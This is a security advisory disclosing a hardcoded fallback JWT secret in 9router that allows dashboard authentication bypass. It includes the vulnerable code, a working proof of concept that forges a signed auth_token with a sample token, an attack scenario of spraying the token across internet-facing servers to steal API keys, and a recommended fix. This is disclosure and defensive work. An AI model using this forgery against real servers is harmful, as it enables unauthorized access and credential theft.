9router's Hardcoded Default fallback JWT Secret Allows Authentication Bypass
Summary
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
Details
| Versions | File | Note |
|---|---|---|
| >= 0.2.21, <= 0.4.30 | src/app/api/auth/login/route.js + src/middleware.js | Introduced in commit 23cfb19 |
| >= 0.4.31, <= 0.4.41 | src/lib/auth/dashboardSession.js | Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 – v0.4.30 — src/app/api/auth/login/route.js and src/middleware.js:
```js
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
```
v0.4.31 – v0.4.41 (current) — src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):
```js
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
```
The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
PoC
Step 1. Craft a JWT signed with the known default secret:
```js
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w
```
Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass
Attack Scenario:
- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database
Impact
- A successful attack grants attacker full API Key, Auth Token that 9router hold
- They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
- Pivot via the MCP stdio→SSE bridge exposed at
/api/mcp/ (exploit CVE-2026-46339)
Recommended Fix
Require JWT_SECRET at startup and fail fast rather than falling back silently:
```js
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);
```
Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.
